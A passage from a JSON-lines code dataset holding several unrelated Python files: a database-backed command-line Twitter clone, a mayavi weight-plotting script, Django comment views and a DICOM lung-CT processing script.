connection.cursor()\n\tcurs.prepare(\"insert into retweets values (:id, :tid, :tdate)\")\n\tcurs.execute(None, {'id':user_id, 'tid':tweet_id, 'tdate':datetime.datetime.now()})\n\tcurs.close()\n\tconnection.commit()\n\tprint(\"Successfully retweeted.\")\n\n# return to users that you searched by the key word\ndef searchAllUsers(connection, inp):\n\n\tinp = '%' + inp + '%'\n\tcurs = connection.cursor()\n\n\tcurs.prepare(\"select * from (select name,usr,city from users where name like :keyName order by length(trim(name)) asc, length(trim(city)) asc ) \"\n\t\t\t\" union all select * from (select name,usr,city from users where city like :keyName and name not like :keyName \"\n\t\t\t\" order by length(trim(city)) asc,length(trim(name)) asc)\")\n\n\tcurs.execute(None, {'keyName':inp})\n\trows = curs.fetchall()\n\tcurs.close()\n\treturn rows\n\n#the search users function. after logged in, you should be able to search any users by a key word. Thsy are\n# listing by an ascending order. once you select a user, you can see any informations about the user. you can\n# also have the option to follow this user.\ndef displayAllUsers(connection,user_id):\n\tinp = input(\"Please input a keyword : \")\n\t#inp2 = input(\"Do you wanto to follow the user? \")\n\trows = searchAllUsers(connection, inp)\n\t#follow = followusers(connection, flwer)\n\tif len(rows) > 0:\n\t\tprint(\"users list,please choose:\")\n\t\ti = 1\n\t\tindices = []\n\t\twhile (True):\n\t\t\tindices.append(i)\n\t\t\tprint(i, rows[i-1])\n\n\t\t\t# Either 5 user have been printed or we have reached the end of the users\n\t\t\tif ((i%5) == 0) or (len(rows) == i):\n\t\t\t\tinp = \"\"\n\n\t\t\t\twhile (True):\n\t\t\t\t\t# Check if we have reached the end of the users\n\t\t\t\t\tif len(rows) == i:\n\t\t\t\t\t\t# Check if a full 5 user were printed\n\t\t\t\t\t\tif (i%5) == 0:\n\t\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the user, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the users: \" % ((i-4), i))\n\n\t\t\t\t\t\t# Check if only a single user was printed\n\t\t\t\t\t\telif (i%5) == 1:\n\t\t\t\t\t\t\tinp = input(\"Type number %s to view more information about the user, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the users: \" % (i))\n\n\t\t\t\t\t\t# Either 2, 3, or 4 user were printed\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the user, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the users: \" % ((i-(i%5)+1), i))\n\n\n\t\t\t\t\t\t# Check if the input is an int representing 1 of the user\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tif int(inp) in indices:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tif inp == \"skip\":\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\n\t\t\t\t\t# There are still more user to display so offer to display the next ones aswell\n\t\t\t\t\telse:\n\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the user, \"\n\t\t\t\t\t\t\"'more' to view the next 5 user, or 'skip' to skip viewing the user: \" % ((i-4), i))\n\t\t\t\t\t\t# Check if the input is an int representing 1 of the user\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tif int(inp) in indices:\n\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tif inp == \"skip\" or inp == \"more\":\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\t\t\t\tif inp == \"skip\":\n\t\t\t\t\tbreak\n\t\t\t\telif inp == \"more\":\n\t\t\t\t\tindices = []\n\n\t\t\t\t# A user was selected\n\t\t\t\telse:\n\t\t\t\t\tdisplayUserStats(connection, rows[int(inp)-1][1],user_id)\n\t\t\t\t\tindices = []\n\t\t\t\t\tif i%5 == 0:\n\t\t\t\t\t\ti = i-5\n\t\t\t\t\telse:\n\t\t\t\t\t\ti = i - (i%5)\n\t\t\ti = i + 1\n\telse:\n\t\tprint(\"No suit users .\")\n\n# return to the users status, like number of followers, number of folowing users, number of tweets\ndef getUserStats(connection, user_id):\n\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select b1.twnum,b2.fenum,b3.frnum from (select count(tid) twnum from tweets where writer =:user1 ) b1 ,\"\n\t\t\"(select count(flwer) fenum from follows where flwee = :user1 ) b2,\"\n\t\t\"(select count(flwee) frnum from follows where flwer = :user1 ) b3 \")\n\tcurs.execute(None, {'user1':user_id })\n\trow = curs.fetchone()\n\tcurs.close()\n\treturn row\n\n# return to the tweets ordered by recent updated\ndef getUserTweets(connection, user_id):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select * from tweets where writer= :user1 order by tdate desc \")\n\tcurs.execute(None, {'user1':user_id })\n\trow = curs.fetchall()\n\tcurs.close()\n\treturn row\n\n#display the users users status, like number of followers, number of folowing users, number of 3 recent tweets\ndef displayUserStats(connection, user,user_id):\n\n\tstats = getUserStats(connection, user)\n\tprint(\"the number of tweets is \",stats[0],\" the number of users being followed is \",stats[2],\"the number of followers is \" ,stats[1])\n\trows = getUserTweets(connection,user)\n\tinp = \"\"\n\tif len(rows) > 0:\n\t\tprint(\"Recent Tweets:\")\n\t\ti = 1\n\t\tindices = []\n\t\twhile (True):\n\t\t\tindices.append(i)\n\t\t\tprint(i, rows[i-1])\n\n\t\t\t# Either 3 tweets have been printed or we have reached the end of the tweets\n\t\t\tif ((i%3) == 0) or (len(rows) == i):\n\t\t\t\tinp = \"\"\n\t\t\t\twhile (True):\n\t\t\t\t\t# Check if we have reached the end of the tweets/retweets\n\t\t\t\t\tif len(rows) == i:\n\t\t\t\t\t\tinp = input(\"Type 'follow' to follow the user, or 'skip' to skip viewing the tweets: \")\n\t\t\t\t\t\tif inp == \"skip\" or inp == \"follow\":\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\t\t\t\t\t# There are still more tweets to display so offer to display the next ones aswell\n\t\t\t\t\telse:\n\t\t\t\t\t\tinp = input(\"Type 'more' to view the next 3 tweets, 'follow' to follow \"\n\t\t\t\t\t\t\"the user, or 'skip' to skip viewing the user: \")\n\t\t\t\t\t\tif inp == \"skip\" or inp == \"more\" or inp == \"follow\":\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\n\t\t\t\tif inp == \"skip\":\n\t\t\t\t\tbreak\n\t\t\t\telif inp == \"more\":\n\t\t\t\t\tindices = []\n\t\t\t\telif inp == \"follow\":\n\t\t\t\t\tfollowUsers(connection, user, user_id)\n\t\t\t\t\tbreak\n\t\t\ti = i + 1\n\n\telse:\n\t\tprint(\"No tweets.\")\n\n\t\twhile(True):\n\t\t\tinp = input(\"Type 'follow' to follow the user: or 'skip' to skip viewing the follower: \" )\n\t\t\tif inp == \"skip\":\n\t\t\t\tbreak\n\t\t\telif inp == \"follow\":\n\t\t\t\tfollowUsers(connection, user,user_id)\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\n# Prompt for managing lists\ndef displayManageLists(connection, user_id):\n\tinp = \"\"\n\twhile (True):\n\t\tinp = input(\"Type 'my lists' to view your lists, 'on lists' to view the lists you are on, 'create list' to create a new list, or 'back' to return to the last screen: \")\n\t\tif inp == \"my lists\":\n\t\t\tdisplayMyLists(connection, user_id)\n\t\telif inp == \"on lists\":\n\t\t\tdisplayOnLists(connection, user_id)\n\t\telif inp == \"create list\":\n\t\t\tdisplayCreateList(connection, user_id)\n\t\telif inp == \"back\":\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"Unrecognized input, please try again.\")\n\n# Displays all of the user's lists\ndef displayMyLists(connection, user_id):\n\tlists = getMyLists(connection, user_id)\n\n\ti = 1\n\tfor row in lists:\n\t\tprint(i, row[0])\n\t\ti = i + 1\n\n\tinp = \"\"\n\tif i > 1:\n\t\twhile (True):\n\t\t\tif i > 2:\n\t\t\t\tinp = input(\"Type numbers 1-%s to manage the list or 'back' to return to the last screen: \" % (i - 1))\n\t\t\telse:\n\t\t\t\tinp = input(\"Type number 1 to manage the list or 'back' to return to the last screen: \")\n\n\t\t\tif inp == \"back\":\n\t\t\t\tbreak\n\t\t\ttry:\n\t\t\t\tif int(inp) > 0 and int(inp) < i:\n\t\t\t\t\tdisplayList(connection, user_id, lists[int(inp) - 1][0])\n\t\t\t\t\t# reprint the lists\n\t\t\t\t\ti = 1\n\t\t\t\t\tfor row in lists:\n\t\t\t\t\t\tprint(i, row[0])\n\t\t\t\t\t\ti = i + 1\n\t\t\texcept:\n\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\n# Returns all the lists that the user has\ndef getMyLists(connection, user_id):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select lname from lists where owner = :owner\")\n\tcurs.execute(None, {'owner':user_id})\n\trows = curs.fetchall()\n\tcurs.close()\n\treturn rows\n\n# Displays the members of the list and gives the option to add or remove a member from the list\ndef displayList(connection, user_id, listName):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select member from includes where lname = :listName\")\n\tcurs.execute(None, {'listName':listName})\n\trows = curs.fetchall()\n\tcurs.close\n\n\tif len(rows) > 0:\n\t\tprint(\"List Members:\")\n\t\tfor row in rows:\n\t\t\tprint(row[0])\n\telse:\n\t\tprint(\"This list has no members.\")\n\n\tinp = \"\"\n\twhile (True):\n\t\tinp = input(\"Type 'add [member]' to add [member] to the list, 'remove [member]' to remove [member] from the list, or 'back' to return to the last screen: \")\n\t\tif inp == \"back\":\n\t\t\tbreak\n\t\telif len(inp) > 4 and inp[:4] == \"add \":\n\t\t\t# check that the member exists\n\t\t\ttry:\n\t\t\t\tmemberId = int(inp[4:])\n\t\t\t\tcurs = connection.cursor()\n\t\t\t\tcurs.prepare(\"select * from users where usr = :userId\")\n\t\t\t\tcurs.execute(None, {'userId':memberId})\n\t\t\t\trow1 = curs.fetchone()\n\t\t\t\tcurs.close()\n\n\t\t\t\tcurs = connection.cursor()\n\t\t\t\tcurs.prepare(\"select * from includes where lname = :listName and member = :member\")\n\t\t\t\tcurs.execute(None, {'listName':listName, 'member':memberId})\n\t\t\t\trow2 = curs.fetchone()\n\t\t\t\tcurs.close()\n\n\t\t\t\tif not row1:\n\t\t\t\t\tprint(\"The id entered does not correspond to a user, please try again.\")\n\t\t\t\telif row2:\n\t\t\t\t\tprint(\"The user is already included in the list, please try again.\")\n\t\t\t\telse:\n\t\t\t\t\taddMemberToList(connection, user_id, listName, memberId)\n\t\t\t\t\t# reprint the lists\n\t\t\t\t\tcurs = connection.cursor()\n\t\t\t\t\tcurs.prepare(\"select member from includes where lname = :listName\")\n\t\t\t\t\tcurs.execute(None, {'listName':listName})\n\t\t\t\t\trows = curs.fetchall()\n\t\t\t\t\tcurs.close()\n\n\t\t\t\t\tif len(rows) > 0:\n\t\t\t\t\t\tprint(\"List Members:\")\n\t\t\t\t\t\tfor row in rows:\n\t\t\t\t\t\t\tprint(row[0])\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"This list has no members.\")\n\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"Member to add must be a user id as a number, please try again.\")\n\n\t\telif len(inp) > 7 and inp [:7] == \"remove \":\n\t\t\t# check that the member is on the list\n\t\t\ttry:\n\t\t\t\tmemberId = int(inp[7:])\n\t\t\t\tcurs = connection.cursor()\n\t\t\t\tcurs.prepare(\"select * from includes where lname = :listName and member = :member\")\n\t\t\t\tcurs.execute(None, {'listName':listName, 'member':memberId})\n\t\t\t\trow = curs.fetchone()\n\t\t\t\tcurs.close()\n\t\t\t\tif not row:\n\t\t\t\t\tprint(\"The user id entered is not on the list, please try again.\")\n\t\t\t\telse:\n\t\t\t\t\tremoveMemberFromList(connection, user_id, listName, memberId)\n\t\t\t\t\t# reprint the lists\n\t\t\t\t\tcurs = connection.cursor()\n\t\t\t\t\tcurs.prepare(\"select member from includes where lname = :listName\")\n\t\t\t\t\tcurs.execute(None, {'listName':listName})\n\t\t\t\t\trows = curs.fetchall()\n\t\t\t\t\tcurs.close()\n\n\t\t\t\t\tif len(rows) > 0:\n\t\t\t\t\t\tprint(\"List Members:\")\n\t\t\t\t\t\tfor row in rows:\n\t\t\t\t\t\t\tprint(row[0])\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"This list has no members\")\n\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"Member to remove must be a user id as a number, please try again.\")\n\t\telse:\n\t\t\tprint(\"Unrecognized input, please try again.\")\n\n# Displays all the lists that the user is on\ndef displayOnLists(connection, user_id):\n\tlists = getOnLists(connection, user_id)\n\tif len(lists) == 0:\n\t\tprint(\"You are not on any lists.\")\n\tfor row in lists:\n\t\tprint(row)\n\n# Returns all the lists that a user is currently on\ndef getOnLists(connection, user_id):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"select l.lname, l.owner from lists l, includes i where l.lname = i.lname and i.member = :member\")\n\tcurs.execute(None, {'member':user_id})\n\trows = curs.fetchall()\n\tcurs.close()\n\treturn rows\n\n# Asks the user for the name of a new list to create and creates it\ndef displayCreateList(connection, user_id):\n\tlistName = \"\"\n\twhile (True):\n\t\tlistName = input(\"Type the name of the new list: \")\n\t\tif len(listName) > 12:\n\t\t\tprint(\"Maximum length of list name is 12 characters, please try again.\")\n\t\telse:\n\t\t\t# Check that this name has not already been used\n\t\t\tcurs = connection.cursor()\n\t\t\tcurs.prepare(\"select * from lists where trim(lname) = :listName\")\n\t\t\tcurs.execute(None, {'listName':listName})\n\t\t\trow = curs.fetchone()\n\t\t\tif row:\n\t\t\t\tprint(\"List name is already in use, please try another name.\")\n\t\t\t\tcurs.close()\n\t\t\telse:\n\t\t\t\tcurs.close()\n\t\t\t\tbreak\n\tcurs = connection.cursor()\n\tcurs.prepare(\"insert into lists values (:listName, :owner)\")\n\tcurs.execute(None, {'listName':listName, 'owner':user_id})\n\tconnection.commit()\n\tcurs.close()\n\tprint(\"Successfully created a new list.\")\n\n# Adds a new member to an existing list\ndef addMemberToList(connection, user_id, listName, member):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"insert into includes values (:listName, :member)\")\n\tcurs.execute(None, {'listName':listName, 'member':member})\n\tconnection.commit()\n\tcurs.close()\n\tprint(\"Successfully added member to list.\")\n\n# Removes a member from an existing list\ndef removeMemberFromList(connection, user_id, listName, member):\n\tcurs = connection.cursor()\n\tcurs.prepare(\"delete from includes where member = :member\")\n\tcurs.execute(None, {'member':member})\n\tconnection.commit()\n\tcurs.close()\n\tprint(\"Successfully removed member from list.\")\n# Search for tweets. The user should be able to enter one or more keywords and the system should retrieve every tweet that match at least one of the keywords. The tweets should be ordered based on date from the latest to the oldest.\ndef search(connection, inp):\n while True:\n if len(inp)==0:\n print(\"Empty keyword, try again!\")\n else:\n list= inp.split()\n break\n for item in list:\n item = item.strip()\n result=[]\n for item in list:\n newitem = \"%\"+\"#\"+item+\"%\"\n item = \"%\" + item + \"%\"\n curs = connection.cursor()\n curs.prepare(\"select * from tweets where text like : item order by tdate desc\")\n #curs.prepare(\"select * from (select * from tweets where text like : item order by tdate desc)\"\n\t #\"union all select * from (select * from tweets where text like: newitem order by tdate desc)\")\n #curs.execute(None,{'item': item,'newitem': newitem})\n curs.execute(None,{'item': item})\n rows=curs.fetchall()\n for row in rows:\n result.append(row)\n\n curs.close()\n return result\n\n# If there are more than 5 matching tweets, only 5 would be shown and the user would be given an option to see more but again 5 at a time. The user should be able to select a tweet and see some statistics about the tweet including the number of retweets and the number of replies. Also the user should be able to compose a reply to a tweet (see the section on composing a tweet), or retweet it (i.e. repost it to all people who follow the user).\ndef displayAllTweets(connection):\n\tinp = input(\"Please input keyword: \")\n\trows = search(connection, inp)\n\tif len(rows) > 0:\n\t\tprint(\"tweets list,please choose:\")\n\t\ti = 1\n\t\tindices = []\n\t\twhile (True):\n\t\t\tindices.append(i)\n\t\t\tprint(i, rows[i-1])\n\n\t\t\t# Either 5 tweets have been printed or we have reached the end of the tweets\n\t\t\tif ((i%5) == 0) or (len(rows) == i):\n\t\t\t\tinp = \"\"\n\n\t\t\t\twhile (True):\n\t\t\t\t\t# Check if we have reached the end of the tweets\n\t\t\t\t\tif len(rows) == i:\n\t\t\t\t\t\t# Check if a full 5 tweets were printed\n\t\t\t\t\t\tif (i%5) == 0:\n\t\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the tweets, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the tweets: \" % ((i-4), i))\n\n\t\t\t\t\t\t# Check if only a single tweet was printed\n\t\t\t\t\t\telif (i%5) == 1:\n\t\t\t\t\t\t\tinp = input(\"Type number %s to view more information about the tweets, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the tweets: \" % (i))\n\n\t\t\t\t\t\t# Either 2, 3, or 4 tweet was printed\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the tweets, \"\n\t\t\t\t\t\t\t\"or 'skip' to skip viewing the tweets: \" % ((i-(i%5)+1), i))\n\n\n\t\t\t\t\t\t# Check if the input is an int representing 1 of the tweet\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tif int(inp) in indices:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tif inp == \"skip\":\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\n\t\t\t\t\t# There are still more tweets to display so offer to display the next ones aswell\n\t\t\t\t\telse:\n\t\t\t\t\t\tinp = input(\"Type numbers %s-%s to view more information about the tweets, \"\n\t\t\t\t\t\t\"'more' to view the next 5 tweets, or 'skip' to skip viewing the tweets: \" % ((i-4), i))\n\t\t\t\t\t\t# Check if the input is an int representing 1 of the tweet\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tif int(inp) in indices:\n\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tif inp == \"skip\" or inp == \"more\":\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Unrecognized input, please try again.\")\n\t\t\t\tif inp == \"skip\":\n\t\t\t\t\tbreak\n\t\t\t\telif inp == \"more\":\n\t\t\t\t\tindices = []\n\n\t\t\t\t# A tweet was selected\n\t\t\t\telse:\n\t\t\t\t\t\n displayTweetStats(connection, rows[int(inp)-1][1], rows[int(inp)-1][0])\n\n\n indices = []\n if i%5 == 0:\n i = i-5\n else:\n i = i - (i%5)\n\t\t\ti = i + 1\n\telse:\n\t\tprint(\"No suit tweets .\")\n\ndef main():\n\tconnection = getConnection()\n\n\t# Let the user login or create an account\n\tret = displayLoginOrCreate(connection)\n\tcreatedAccount = ret[0]\n\tuser_id = ret[1]\n\n\t# There was not a new account created so show the tweets and retweets\n\tif not createdAccount:\n\t\tdisplayTweetsAndRetweets(connection, user_id)\n\n\t# MENU\n\twhile (True):\n\t\tinp = input(\"Type 'search tweets' to search tweets, 'search users' to search users, 'compose tweet' to write a tweet, 'list followers' to list your followers, 'manage lists' to see lists, or 'logout' to logout: \")\n\n\t\tif inp == \"search tweets\":\n\t\t\tdisplayAllTweets(connection)\n\n\t\telif inp == \"search users\":\n\t\t\tdisplayAllUsers(connection, user_id)\n\n\t\telif inp == \"compose tweet\":\n\t\t\tdisplayComposeTweet(connection, user_id, None)\n\n\t\telif inp == \"list followers\":\n\t\t\tdisplayAllFollowers(connection,user_id)\n\n\t\telif inp == \"manage lists\":\n\t\t\tdisplayManageLists(connection, user_id)\n\n\t\telif inp == \"logout\":\n\t\t\tbreak\n\n\t\telse:\n\t\t\tprint(\"Unrecognized input, please try again.\")\n\n\tconnection.commit()\n\tconnection.close()\n\nif __name__ == \"__main__\":\n main()","sub_path":"Project1/miniProject1master.py","file_name":"miniProject1master.py","file_ext":"py","file_size_in_byte":32767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"607411979","text":"#!/usr/bin/env python\n\nimport numpy as np\nfrom mayavi import mlab\nimport json\n\n\nwith open('../src/params.json') as data_file: \n params = json.load(data_file)\n\n# conv2\nw = np.loadtxt('weights_conv2.txt')\nw = w.reshape((params['layers'][3]['map_num'], params['layers'][1]['map_num'], params['layers'][3]['win_len'], params['layers'][3]['win_len']))\n\nfor i in range(100):\n # mlab.pipeline.volume(mlab.pipeline.scalar_field(w[i]))\n mlab.pipeline.glyph(mlab.pipeline.scalar_scatter(w[i]))\n mlab.show()\n","sub_path":"output/plot3d.py","file_name":"plot3d.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"519098379","text":"from django.shortcuts import render\nfrom django.views.decorators.http import require_POST\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.shortcuts import get_object_or_404\nfrom django.http import HttpResponse\n\nfrom .models import Comment\nfrom .forms import CommentForm, ReplyForm, EditForm\nfrom .decorators import require_ajax\n\nclass CommentsContextMixin:\n login_url = None\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n comments = Comment.objects.filter(object_id=self.request.session['comments_owner_id'])\n data = {\n 'comments': comments,\n 'comment_form': CommentForm(),\n 'reply_form': ReplyForm(),\n 'edit_form': EditForm(),\n 'login_url': self.login_url\n }\n context.update(data)\n return context\n\n@login_required\n@require_POST\n@require_ajax\ndef add_comment(request): \n form = CommentForm(request.POST)\n if form.is_valid():\n form.save(commit=False)\n form.instance.author = request.user\n form.instance.content_type_id = ContentType.objects.get(\n model=request.session['comments_owner_model_name']).id\n form.instance.object_id = request.session['comments_owner_id']\n form.save()\n context = {\n # returns created comment in an QuerySet (itterable object is required because template uses forloop tag).\n # First comment in QuerySet is just created one, because of ordering = ['-pub_date'].\n 'comments': Comment.objects.all()[0:1],\n 'reply_form': ReplyForm(),\n 'edit_form': EditForm()\n }\n return render(request, 'comments/comments.html', context)\n\n@login_required\n@require_POST\n@require_ajax\ndef add_reply(request):\n form = ReplyForm(request.POST)\n parent_id = request.POST.get('parentId')\n if form.is_valid():\n form.save(commit=False)\n form.instance.author = request.user\n form.instance.content_type_id = ContentType.objects.get(model='comment').id\n form.instance.object_id = form.instance.parent_id = parent_id\n form.save()\n context = {\n 'reply': Comment.objects.latest('pub_date'),\n 'edit_form': EditForm(),\n 'create_reply': True # bool just for check in template\n } \n return render(request, 'comments/replies.html', context)\n\n@login_required\n@require_POST\n@require_ajax\ndef edit_comment_or_reply(request, pk):\n target = get_object_or_404(Comment, pk=pk)\n form = EditForm(request.POST)\n if form.is_valid():\n target.text = form.cleaned_data['text']\n target.save()\n return HttpResponse(target.text)\n \n@login_required\n@require_POST\n@require_ajax\ndef delete_comment_or_reply(request, pk):\n target = get_object_or_404(Comment, pk=pk)\n target.delete()\n if target.is_reply():\n return HttpResponse('

    Reply deleted

    ')\n return HttpResponse('

    Comment deleted

    ')","sub_path":"comments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"224444335","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 14 23:50:22 2018\r\n\r\n@author: Chandrakant Pattekar\r\n\"\"\"\r\n\r\nimport numpy as np # linear algebra\r\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\r\nimport dicom\r\nimport os\r\nimport scipy.ndimage\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom skimage import measure, morphology\r\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection\r\n\r\n#newpath = \"C:\\\\Users\\\\echtpar\\\\Anaconda3\\\\KerasProjects\\\\Keras-CNN-Tutorial\\\\AllLuna16Data\\\\R_004\\\\06-30-1997-Diagnostic Pre-Surgery Contrast Enhanced CT-71813\\\\3- NONE -29295\"\r\n\r\n\r\ndef plot_3d(image, threshold=-300):\r\n\r\n \r\n # Position the scan upright, \r\n # so the head of the patient would be at the top facing the camera\r\n #p = first_patient_pixels.transpose(2,1,0)\r\n \r\n p = pix_resampled.transpose(2,1,0)\r\n verts, faces, norm, val = measure.marching_cubes(p, threshold)\r\n \r\n \r\n fig = plt.figure(figsize=(10, 10))\r\n ax = fig.add_subplot(111, projection='3d')\r\n \r\n # Fancy indexing: `verts[faces]` to generate a collection of triangles\r\n mesh = Poly3DCollection(verts[faces], alpha=0.70)\r\n face_color = [0.45, 0.45, 0.75]\r\n mesh.set_facecolor(face_color)\r\n ax.add_collection3d(mesh)\r\n \r\n ax.set_xlim(0, p.shape[0])\r\n ax.set_ylim(0, p.shape[1])\r\n ax.set_zlim(0, p.shape[2])\r\n \r\n plt.show()\r\n\r\n\r\ndef largest_label_volume(im, bg=-1):\r\n vals, counts = np.unique(im, return_counts=True)\r\n\r\n counts = counts[vals != bg]\r\n vals = vals[vals != bg]\r\n\r\n if len(counts) > 0:\r\n return vals[np.argmax(counts)]\r\n else:\r\n return None\r\n\r\n\r\n\r\n# Some constants \r\nINPUT_FOLDER = os.getcwd()\r\nprint(INPUT_FOLDER)\r\npath = os.path.join(INPUT_FOLDER, \"AllLuna16Data\\\\R_004\\\\06-30-1997-Diagnostic Pre-Surgery Contrast Enhanced CT-71813\\\\3- NONE -29295\")\r\npatients = os.listdir(path)\r\nprint(patients)\r\npatients.sort()\r\n\r\n\r\n#path = path + patients[0]\r\n#print(path)\r\n\r\nslices = [dicom.read_file(path + '/' + s) for s in os.listdir(path)]\r\ny = [x.ImagePositionPatient for x in slices]\r\nprint(y)\r\n\r\nprint(len(slices))\r\n\r\nprint(\"look at attributes of slices\")\r\nprint(\"============================\")\r\nq = [x for x in dir(slices)]\r\nprint(dir(slices))\r\n\r\nprint(\"\\n look at attributes of individual slice\")\r\nprint(\"============================\")\r\nprint([y for y in dir(slices[0])])\r\n\r\nprint('AcquisitionNumber',slices[0].AcquisitionNumber)\r\nprint('BitsAllocated',slices[0].BitsAllocated)\r\nprint('BitsStored',slices[0].BitsStored)\r\nprint('Columns',slices[0].Columns)\r\nprint('FrameOfReferenceUID', slices[0].FrameOfReferenceUID)\r\nprint('HighBit',slices[0].HighBit)\r\nprint('ImageOrientationPatient',slices[0].ImageOrientationPatient)\r\nprint('ImagePositionPatient',slices[0].ImagePositionPatient)\r\nprint('InstanceNumber',slices[0].InstanceNumber)\r\nprint('KVP',slices[0].KVP)\r\nprint('Modality',slices[0].Modality)\r\nprint('PatientBirthDate',slices[0].PatientBirthDate)\r\nprint('PatientID',slices[0].PatientID)\r\nprint('PatientName',slices[0].PatientName)\r\nprint('PatientOrientation',slices[0].PatientOrientation)\r\nprint('PhotometricInterpretation',slices[0].PhotometricInterpretation)\r\nprint('PixelData length',len(slices[0].PixelData))\r\nprint('PixelPaddingValue',slices[0].PixelPaddingValue)\r\nprint('PixelRepresentation',slices[0].PixelRepresentation)\r\nprint('PixelSpacing',slices[0].PixelSpacing)\r\nprint('PositionReferenceIndicator',slices[0].PositionReferenceIndicator)\r\nprint('RescaleIntercept',slices[0].RescaleIntercept)\r\nprint('RescaleSlope',slices[0].RescaleSlope)\r\nprint('Rows',slices[0].Rows)\r\nprint('SOPClassUID',slices[0].SOPClassUID)\r\nprint('SOPInstanceUID',slices[0].SOPInstanceUID)\r\nprint('SamplesPerPixel',slices[0].SamplesPerPixel)\r\nprint('SeriesDescription',slices[0].SeriesDescription)\r\nprint('SeriesInstanceUID',slices[0].SeriesInstanceUID)\r\nprint('SeriesNumber',slices[0].SeriesNumber)\r\nprint('SliceLocation',slices[0].SliceLocation)\r\nprint('SpecificCharacterSet',slices[0].SpecificCharacterSet)\r\nprint('StudyInstanceUID',slices[0].StudyInstanceUID)\r\nprint('WindowCenter',slices[0].WindowCenter)\r\nprint('WindowWidth',slices[0].WindowWidth)\r\n\r\n\r\n\r\nslices.sort(key = lambda x: float(x.ImagePositionPatient[2]))\r\ntry:\r\n slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2])\r\nexcept:\r\n slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation)\r\n \r\nfor s in slices:\r\n s.SliceThickness = slice_thickness\r\n \r\nfirst_patient = slices\r\n\r\nprint(slices[0])\r\n\r\nprint(slices[0].pixel_array.shape)\r\n\r\nimage = np.stack([s.pixel_array for s in slices])\r\n # Convert to int16 (from sometimes int16), \r\n # should be possible as values should always be low enough (<32k)\r\nimage = image.astype(np.int16)\r\n\r\n # Set outside-of-scan pixels to 0\r\n # The intercept is usually -1024, so air is approximately 0\r\nimage[image == -2000] = 0\r\n \r\n # Convert to Hounsfield units (HU)\r\nfor slice_number in range(len(slices)):\r\n \r\n intercept = slices[slice_number].RescaleIntercept\r\n slope = slices[slice_number].RescaleSlope\r\n \r\n if slope != 1:\r\n image[slice_number] = slope * image[slice_number].astype(np.float64)\r\n image[slice_number] = image[slice_number].astype(np.int16)\r\n \r\n image[slice_number] += np.int16(intercept)\r\n \r\nfirst_patient_pixels = np.array(image, dtype=np.int16)\r\n\r\n\r\nf, ax = plt.subplots(10,5, figsize=(25,25))\r\n\r\naxes = ax.flat\r\n\r\nfor i, x in enumerate(axes):\r\n x.imshow(first_patient_pixels[i-1], 